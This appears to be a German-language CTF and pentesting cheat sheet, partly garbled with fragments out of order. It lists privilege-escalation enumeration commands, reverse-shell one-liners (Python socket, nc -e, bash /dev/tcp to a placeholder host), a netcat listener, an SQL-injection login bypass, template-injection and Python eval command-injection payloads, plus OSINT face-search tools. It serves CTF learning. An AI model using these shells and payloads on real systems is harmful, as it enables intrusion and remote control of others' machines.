- [linpeas](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
    - `./linpeas.sh`
    - Sucht automatisch nach Privilegieneskalationsvektoren
- Befehle auflisten, die wir als root ausführen können
    - `sudo -l`
- Dateien mit SUID-Berechtigung finden
    - `find / -perm -u=s -type f 2>/dev/null`
    - Diese Dateien werden mit den Rechten des Besitzers ausgeführt, nicht mit denen des Benutzers.
- Berechtigungen für alle Dienste anzeigen
    - `accesschk.exe -uwcqv *`
    - Suche nach Diensten, die nicht unter System- oder Administratorkonten laufen.
- Dienst abfragen
    - `sc qc <service name>`
    - Funktioniert nur in cmd.exe

### Auf Reverse Shell lauschen

- `nc -lnvp <port>`

### Reverse Shell

- revshells.com
    - Vorlagen für so ziemlich alles, was du brauchen könntest
- `python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`
- `nc -e /bin/sh <ip> <port>`
- `bash -i >& /dev/tcp/<ip>/<port> 0>&1`

### Interaktive Shell erhalten

#### Linux

1. Führe den folgenden Python-Befehl aus, um sie teilweise interaktiv zu machen: `python -c 'import pty;pty.spawn("/bin/bash");'`
2. Beende die netcat-Sitzung mit `CTRL+Z` und führe lokal `stty raw -echo` aus
3. Setze deine Sitzung mit dem Befehl `fg` fort (und ggf. der Job-ID danach)
4. Ändere deinen Terminalemulator auf xterm, indem du `export TERM=xterm` ausführst (dies ist möglicherweise nicht erforderlich)
5. Ändere deine Shell auf bash, indem du `export SHELL=bash` ausführst (dies ist möglicherweise nicht erforderlich)
6. Fertig! Deine Shell sollte jetzt vollständig interaktiv sein.

#### Windows / Allgemein

1. Installiere `rlwrap` auf deinem System
2. Setze nun jedes Mal, wenn du einen nc-Listener startest, einfach `rlwrap` davor
3. Zum Beispiel: `rlwrap nc -lvnp 1337`
    * Dies gibt dir Pfeiltasten und Befehlsverlauf, aber keine Autovervollständigung (soweit ich weiß) für Windows- und *nix-Systeme

## OSINT

- [pimeyes](https://pimeyes.com/en)
    - Gesichter im Internet rückwärts suchen
- [OSINT Framework](https://osintframework.com/)
    - Website, die zahlreiche OSINT-Tools zusammenfasst
- [GeoSpy AI](https://geospy.ai)
	- Geospatial Vision LLM, das nur anhand eines Bildes den Standort schätzen kann
- [overpass turbo](https://overpass-turbo.eu)
	- Website, mit der du die OpenStreetMap-API abfragen und Ergebnisse visualisieren kannst
- [Bellingcat OSM search](https://osm-search.bellingcat.com/)
	- Website, mit der du die OSM-API einfach abfragen kannst

## Sonstiges

- DNS-Fehler beheben
    - `dig <site> <recordType>`
    - [Liste der Record-Typen](https://en.wikipedia.org/wiki/List_of_DNS_record_types)
        - Stelle sicher, dass du auch TXT ausprobierst
- Eine Binärdatei mit einer anderen Architektur ausführen
    - 64 Bit:
        - `linux64 ./<binary>`
    - 32 Bit:
        - `linux32 ./<binary>`
        
- MS-Makros extrahieren:
    - [https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php](https://www.onlinehashcrack.com/tools-online-extract-vba-from-office-word-excel.php)
- CNC GCode anzeigen
    - [https://ncviewer.com/](https://ncviewer.com/)
Tool herunterladen
  • UF Cyber Team (ich bin etwas voreingenommen, aber definitiv einer der besseren YouTube-Kanäle dafür).
  • Gynvael
    • Macht erstaunlich intuitive Video-Writeups. Hat das gesamte picoCTF 2019 durchgearbeitet (das ist eine Menge).
  • Black Hills Information Security
    • Sicherheitsfirma, die eine Menge Schulungsinhalte produziert.
    • Bietet ständig kostenlose Kurse und Webcasts zu Sicherheitsthemen an.
  • stacksmashing
    • Fantastische Reverse-Engineering- und Hardware-Hacking-Videos.
    • Hat eine wirklich coole Serie, in der er WannaCry reverse engineered.
  • Ben Greenberg
    • GMU-Professor mit einigen Pwn- und Malware-Video-Tutorials.
    • Etwas veraltet, aber immer noch gut.
  • InfoSecLab at Georgia Tech
    • Gute und fortgeschrittene, tiefgehende Vorlesungen über Pwn.
    • Erfordert etwas Hintergrundwissen.
  • RPISEC
    • RPI-Universitätsteam-Treffen.
    • Sehr fortgeschritten und setzt einiges an Informatik-Hintergrundwissen voraus.
  • Matt Brown
    • Embedded Security Pentester.
    • Macht großartige anfängerfreundliche Videos über IoT-Hacking.
  • Phoenix Exploit Education
    • Tonnenweise Binary-Exploitation-Probleme, geordnet nach Schwierigkeitsgrad.
    • Enthält Quellcode und wird mit einer VM geliefert, die alle Binaries enthält.
    • hexedit <datei.xyz>
    • Möglicherweise musst du die Dateisignatur bei einigen Bildern ändern, damit sie geöffnet werden können.
    • Liste gebräuchlicher Dateisignaturen
  • Ghex (ein weiterer Hex-Editor, aber mit GUI. Gut, wenn du zu einem bestimmten Byte springen musst.)
    • ghex <datei.xyz>
  • docx-Dateien sind Container, du kannst sie also entpacken, um versteckte Inhalte zu finden.
    • unzip <datei.docx>
  • Grep – Eine gute Möglichkeit, grep zu verwenden, um die Flag rekursiv zu finden:
    • grep -r --text 'picoCTF{.*}'
    • egrep -r --text 'picoCTF{.*?}'
    • Du kannst 'picoCTF' durch den Anfang der gesuchten Flag ersetzen.
  • Ltrace – Ermöglicht dir zu sehen, was der Code tut, während du das Programm ausführst:
    • ltrace ./<datei>
    • ltrace -s 100 ./<datei>
      • Ltrace kürzt sehr lange Zeichenketten. Du kannst -s verwenden, um die Anzahl der Zeichen zu erhöhen, die ltrace anzeigt. Gut, wenn du strcmp mit großen Zeichenketten betrachtest.
  • Sehr gutes Video zum Modifizieren des Stacks mit fstring-Schwachstelle und %n:
    • https://www.youtube.com/watch?v=gzLPVkZbaPA&ab_channel=MartinCarlisle
  • Automatisiert den Prozess der SQL-Injection
  • Grundlegende SQL-Injection
    • Geben Sie 'OR 1=1-- im Anmeldeformular ein
    • Auf dem Server wird dies zu SELECT * FROM Users WHERE User = '' OR 1=1--' AND Pass = '' ausgewertet
    • 1=1 wird als wahr ausgewertet, was die OR-Bedingung erfüllt, und der Rest der Abfrage wird durch -- auskommentiert
  • PayloadsAllTheThings
    • Hervorragende Ressource für Web-Exploitation mit vielen Payloads
  • Template-Injection
    • tplmap
      • Automatisierte serverseitige Template-Injection
    • Jinja-Injection
      • {{ config.items() }}
    • Flask-Injection
      • {{ config }}
    • Python eval()-Funktion
      • __import__.('subprocess').getoutput('<command>')
        • Stellen Sie sicher, dass Sie die Klammern vertauschen, falls es nicht funktioniert
      • __import__.('subprocess').getoutput('ls').split('\\n')
        • Listet Dateien im System auf
    • Weitere Python-Injection
  • Cross-Site-Scripting
    • CSP Evaluator
      • Googles Content-Security-Policy-Evaluator